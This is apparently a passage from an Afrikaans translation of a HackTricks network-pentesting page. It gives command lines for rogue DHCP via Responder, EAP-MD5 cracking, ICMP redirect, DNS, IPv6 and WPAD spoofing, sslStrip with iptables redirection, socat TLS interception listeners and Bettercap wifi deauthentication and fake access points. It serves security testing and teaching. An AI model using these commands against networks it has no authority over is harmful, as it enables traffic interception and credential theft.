'n Skelm DHCP-bediener kan opgestel word deur die DHCP-skrip te gebruik wat geleë is by /usr/share/responder/DHCP.py. Dit is nuttig vir netwerkaanvalle, soos die vasvang van HTTP-verkeer en geloofsbriewe, deur verkeer na 'n skadelike bediener om te lei. Tog is dit minder effektief om 'n skelm gateway op te stel aangesien dit slegs die vaslegging van uitgaande verkeer van die kliënt toelaat, wat die reaksies van die werklike gateway mis. In plaas daarvan word dit aanbeveel om 'n skelm DNS- of WPAD-bediener op te stel vir 'n meer effektiewe aanval.

Hieronder is die opdragopsies vir die konfigurasie van die skelm DHCP-bediener:

  • Ons IP-adres (Gateway-advertensie): Gebruik -i 10.0.0.100 om jou masjien se IP as die gateway te adverteer.
  • Plaaslike DNS-domeinnaam: Opsioneel, gebruik -d example.org om 'n plaaslike DNS-domeinnaam in te stel.
  • Oorspronklike Router/Gateway IP: Gebruik -r 10.0.0.1 om die IP-adres van die legitieme router of gateway te spesifiseer.
  • Primêre DNS-bediener IP: Gebruik -p 10.0.0.100 om die IP-adres van die skelm DNS-bediener wat jy beheer, in te stel.
  • Sekondêre DNS-bediener IP: Opsioneel, gebruik -s 10.0.0.1 om 'n sekondêre DNS-bediener IP in te stel.
  • Netmasker van Plaaslike Netwerk: Gebruik -n 255.255.255.0 om die netmasker vir die plaaslike netwerk te definieer.
  • Koppelvlak vir DHCP-verkeer: Gebruik -I eth1 om te luister vir DHCP-verkeer op 'n spesifieke netwerkkoppelvlak.
  • WPAD-konfigurasie-adres: Gebruik -w “http://10.0.0.100/wpad.dat” om die adres vir WPAD-konfigurasie in te stel, wat help met webverkeersonderskepping.
  • Spoof Verstek Gateway IP: Sluit -S in om die verstek gateway IP-adres te spoof.
  • Reageer op Alle DHCP-aanvrae: Sluit -R in om die bediener te laat reageer op alle DHCP-aanvrae, maar wees bewus dat dit lawaaierig is en opgespoor kan word.

Deur hierdie opsies korrek te gebruik, kan 'n skelm DHCP-bediener opgestel word om netwerkverkeer doeltreffend te onderskep.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP Aanvalle

Hier is 'n paar van die aanvalstaktieke wat teen 802.1X-implementasies gebruik kan word:

  • Aktiewe brute-force wagwoord slyp via EAP
  • Aanvalle op die RADIUS-bediener met verkeerde EAP-inhoud **(uitbuitings)
  • EAP-boodskap vasvang en aflyn wagwoordkraak (EAP-MD5 en PEAP)
  • Afdwinging van EAP-MD5-outentifisering om TLS-sertifikaatvalidering te omseil
  • Injeksie van skadelike netwerkverkeer tydens outentifisering deur 'n hub of soortgelyk te gebruik

Indien die aanvaller tussen die slagoffer en die outentiseringsbediener is, kan hy probeer om (indien nodig) die outentiseringsprotokol na EAP-MD5 te degradeer en die outentiseringspoging vas te vang. Daarna kan hy hierdie metode gebruik om dit met geweld te ontsyfer:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) Aanvalle

FHRP (Eerste Sprong Redundansie Protokol) is 'n klas van netwerkprotokolle wat ontwerp is om 'n warm redundante roetingsisteem te skep. Met FHRP kan fisiese roetingsapparate gekombineer word in 'n enkele logiese toestel, wat fouttoleransie verhoog en help om die las te verdeel.

Ingenieurs van Cisco Systems het twee FHRP-protokolle ontwikkel, naamlik GLBP en HSRP.

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

Daar is drie weergawes van die Roetingsinligtingsprotokol (RIP) wat bekend is: RIP, RIPv2, en RIPng. Datagramme word deur RIP en RIPv2 na eweknieë gestuur via poort 520 met behulp van UDP, terwyl datagramme deur RIPng na UDP-poort 521 via IPv6-multigieting uitgesaai word. Ondersteuning vir MD5-outentifisering is deur RIPv2 ingevoer. Aan die ander kant is daar geen inheemse outentifisering deur RIPng ingesluit nie; in plaas daarvan word daar staatgemaak op opsionele IPsec AH- en ESP-koptekens binne IPv6.

  • RIP en RIPv2: Kommunikasie vind plaas deur UDP-datagramme op poort 520.
  • RIPng: Gebruik UDP-poort 521 vir die uitsaai van datagramme via IPv6-multigieting.

Merk op dat RIPv2 MD5-outentifisering ondersteun terwyl RIPng nie inheemse outentifisering insluit nie, en staatmaak op IPsec AH- en ESP-koptekens in IPv6.

EIGRP Aanvalle

EIGRP (Verbeterde Binnelandse Roetingsprotokol) is 'n dinamiese roetingsprotokol. Dit is 'n afstand-vector protokol. As daar geen outentifisering en konfigurasie van passiewe koppelvlakke is nie, kan 'n indringer EIGRP-roeting beïnvloed en roetingtabellevergiftiging veroorsaak. Verder is die EIGRP-netwerk (met ander woorde, outonome stelsel) plat en het geen segmentering in enige sones nie. As 'n aanvaller 'n roete inspuit, is dit waarskynlik dat hierdie roete deur die outonome EIGRP-stelsel versprei sal word.

Om 'n EIGRP-stelsel aan te val, vereis dit die vestiging van 'n naburskap met 'n regmatige EIGRP-roeter, wat 'n wye verskeidenheid moontlikhede bied, van basiese verkenning tot verskeie inspuitings.

FRRouting stel jou in staat om 'n virtuele roeter wat BGP, OSPF, EIGRP, RIP en ander protokolle ondersteun te implementeer. Al wat jy hoef te doen is om dit op jou aanvaller se stelsel te implementeer en jy kan eintlik voorgee om 'n regmatige roeter in die roetingsdomein te wees.

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

Coly het die vermoë om EIGRP (Verbeterde Binnelandse Roetingsprotokol) uitsendings te onderskep. Dit maak ook die inspuiting van pakkette moontlik, wat gebruik kan word om roetingskonfigurasies te verander.

OSPF

In die Open Kortste Pad Eerste (OSPF) protokol word MD5-outentifisering algemeen gebruik om seker kommunikasie tussen roeters te verseker. Hierdie sekuriteitsmaatreël kan egter gekompromitteer word deur gereedskap soos Loki en John the Ripper. Hierdie gereedskap is in staat om MD5-hashes vas te vang en te kraak, wat die outentiseringsleutel blootstel. Sodra hierdie sleutel verkry is, kan dit gebruik word om nuwe roetingsinligting in te voer. Om die roeteparameters te konfigureer en die gekompromitteerde sleutel te vestig, word onderskeidelik die Injection en Connection lêers gebruik.

  • Vasvang en Kraak van MD5-hashes: Gereedskap soos Loki en John the Ripper word hiervoor gebruik.
  • Konfigurering van Roeteparameters: Dit word gedoen deur die Injection lêer.
  • Vestiging van die Gekompromitteerde Sleutel: Die sleutel word gekonfigureer onder die Connection lêer.

Ander Generiese Gereedskap & Bronne

  • Above: Gereedskap om netwerkverkeer te skandeer en kwesbaarhede te vind
  • Jy kan 'n bietjie meer inligting oor netwerkaanvalle hier vind.

Spoofing

Die aanvaller konfigureer al die netwerkparameters (GW, IP, DNS) van die nuwe lid van die netwerk deur valse DHCP-antwoorde te stuur.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Kyk na die vorige afdeling.

ICMPRedirect

ICMP Redirect bestaan uit die stuur van 'n ICMP-pakket tipe 1 kode 5 wat aandui dat die aanvaller die beste manier is om 'n IP te bereik. Dan, wanneer die slagoffer die IP wil kontak, sal dit die pakket deur die aanvaller stuur.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

Die aanvaller sal sommige (of al) die domeine wat die slagoffer vra, oplos.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Stel eie DNS in met dnsmasq

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Plaaslike Hekke

Daar bestaan dikwels verskeie roetes na stelsels en netwerke. Nadat 'n lys van MAC-adresse binne die plaaslike netwerk saamgestel is, gebruik gateway-finder.py om gasheerstelsels te identifiseer wat IPv4 deurstuur ondersteun.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Spoofing LLMNR, NBT-NS, en mDNS

Vir plaaslike host-oplossing wanneer DNS-opsoekings onsuksesvol is, steun Microsoft-stelsels op Link-Local Multicast Name Resolution (LLMNR) en die NetBIOS Name Service (NBT-NS). Op soortgelyke wyse gebruik Apple Bonjour en Linux zero-configuration-implementasies Multicast DNS (mDNS) om stelsels binne 'n netwerk te ontdek. As gevolg van die ongeauthentiseerde aard van hierdie protokolle en hul werking oor UDP, waar hulle boodskappe uitsaai, kan hulle uitgebuit word deur aanvallers wat daarop gemik is om gebruikers na skadelike dienste om te lei.

Jy kan dienste naboots wat deur gasheer gesoek word deur Responder te gebruik om valse reaksies te stuur.
Lees hier meer inligting oor hoe om dienste te naboots met Responder.

Spoofing WPAD

Webblaaier gebruik gewoonlik die Web Proxy Auto-Discovery (WPAD)-protokol om outomaties proksi-instellings te bekom. Dit behels die ophaling van konfigurasiebesonderhede van 'n bediener, spesifiek deur 'n URL soos "http://wpad.example.org/wpad.dat". Die ontdekking van hierdie bediener deur die kliënte kan plaasvind deur verskeie meganismes:

  • Deur DHCP, waar die ontdekking gefasiliteer word deur 'n spesiale kode 252-invoer te gebruik.
  • Deur DNS, wat behels om te soek na 'n gasheernaam wpad binne die plaaslike domein.
  • Via Microsoft LLMNR en NBT-NS, wat terugvalmeganismes is wat gebruik word in gevalle waar DNS-opsoekings nie slaag nie.

Die instrument Responder maak gebruik van hierdie protokol deur as 'n skadelike WPAD-bedieners op te tree. Dit gebruik DHCP, DNS, LLMNR, en NBT-NS om kliënte te mislei om daarmee te verbind. Om dieper in te gaan oor hoe dienste met Responder nageboots kan word, kyk hier.

Spoofing SSDP en UPnP-toestelle

Jy kan verskillende dienste in die netwerk aanbied om 'n gebruiker te probeer mislei om sekere plat-teks-gedragskode in te voer. Meer inligting oor hierdie aanval in Spoofing SSDP en UPnP-toestelle.

IPv6 Buurman Spoofing

Hierdie aanval is baie soortgelyk aan ARP Spoofing, maar in die IPv6-wêreld. Jy kan die slagoffer laat dink dat die IPv6 van die GW die MAC van die aanvaller het.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6 Router Advertisement Spoofing/Flooding

Sommige bedryfstelsels stel standaard die gateway in vanaf die RA-pakette wat in die netwerk gestuur word. Om die aanvaller as 'n IPv6-router te verklaar, kan jy gebruik:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP spoofing

Standaard probeer sommige OS om die DNS te konfigureer deur 'n DHCPv6-pakket in die netwerk te lees. Dan kan 'n aanvaller 'n DHCPv6-pakket stuur om homself as DNS te konfigureer. Die DHCP voorsien ook 'n IPv6 aan die slagoffer.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (valse bladsy en JS-kode inspuiting)

Internet Aanvalle

sslStrip

Basies wat hierdie aanval doen is, in die geval waar die gebruiker probeer om toegang te verkry tot 'n HTTP bladsy wat aanstuur na die HTTPS weergawe. sslStrip sal 'n HTTP-verbinding met die kliënt handhaaf en 'n HTTPS-verbinding met die bediener sodat dit die verbinding in plat teks kan sniff.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Meer inligting hier.

sslStrip+ en dns2proxy vir omseil van HSTS

Die verskil tussen sslStrip+ en dns2proxy teenoor sslStrip is dat hulle byvoorbeeld www.facebook.com sal herlei na wwww.facebook.com (let op die ekstra "w") en die adres van hierdie domein as die aanvaller IP sal instel. Op hierdie manier sal die kliënt verbind met wwww.facebook.com (die aanvaller) maar agter die skerms sal sslstrip+ die werklike verbinding via https met www.facebook.com handhaaf.

Die doel van hierdie tegniek is om HSTS te vermy omdat wwww.facebook.com nie in die geheue van die webblaaier gestoor sal word nie, sodat die webblaaier mislei sal word om Facebook-verifikasie in HTTP uit te voer.
Let daarop dat om hierdie aanval uit te voer, die slagoffer aanvanklik moet probeer om toegang te verkry tot http://www.faceook.com en nie https nie. Dit kan gedoen word deur die skakels binne 'n http-bladsy te wysig.

Meer inligting hier, hier en hier.

sslStrip of sslStrip+ werk nie meer nie. Dit is omdat daar HSTS-reëls voorgesit word in die webblaaier, sodat selfs as dit die eerste keer is dat 'n gebruiker 'n "belangrike" domein benader, sal hy dit via HTTPS benader. Let ook daarop dat die voorgesitde reëls en ander gegenereerde reëls die vlag includeSubdomains kan gebruik, sodat die wwww.facebook.com voorbeeld van vroeër nie meer sal werk nie aangesien facebook.com HSTS met includeSubdomains gebruik.

TODO: easy-creds, evilgrade, metasploit, factory

TCP luister op poort

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL luister in poort

Genereer sleutels en self-ondertekende sertifikaat

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Luister met sertifikaat

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Luister met behulp van sertifikaat en skakel om na die gasheer

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Soms, as die klient nagaan dat die CA 'n geldige een is, kan jy 'n sertifikaat van 'n ander gasheernaam wat deur 'n CA onderteken is, diens.
'n Ander interessante toets is om 'n sertifikaat van die versoekte gasheernaam maar selfonderteken te diens.

Ander dinge om te toets is om te probeer om die sertifikaat met 'n geldige sertifikaat te onderteken wat nie 'n geldige CA is nie. Of om die geldige openbare sleutel te gebruik, dwing om 'n algoritme soos Diffie-Hellman te gebruik (een wat nie enigiets met die werklike privaatsleutel hoef te dekodeer nie) en wanneer die klient 'n peiling van die werklike privaatsleutel versoek (soos 'n hasj), stuur 'n valse peiling en hoop dat die klient dit nie nagaan nie.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Aktiewe Ontdekkingsnotas

Neem in ag dat wanneer 'n UDP-pakket na 'n toestel gestuur word wat nie oor die versoekte poort beskik nie, 'n ICMP (Poort Onbereikbaar) gestuur word.

ARP-ontdekking

ARP-pakkette word gebruik om te ontdek watter IP-adresse binne die netwerk gebruik word. Die rekenaar moet 'n versoek vir elke moontlike IP-adres stuur en slegs dié wat gebruik word, sal reageer.

mDNS (multicast DNS)

Bettercap stuur 'n MDNS-versoek (elke X ms) wat vra vir _services_.dns-sd._udp.local die masjien wat hierdie pakkie sien, antwoord gewoonlik op hierdie versoek. Dan soek dit slegs na masjiene wat antwoord op "services".

Hulpmiddels

  • Avahi-browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios Name Server)

Bettercap stuur uitsaai-pakkette na poort 137/UDP wat vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Bettercap stuur SSDP-pakkette uit wat soek na allerhande dienste (UDP-poort 1900).

WSD (Web Service Discovery)

Bettercap stuur WSD-pakkette uit wat soek na dienste (UDP-poort 3702).

Verwysings


Bugsbounty wenk: teken aan vir Intigriti, 'n premium bugsbounty-platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: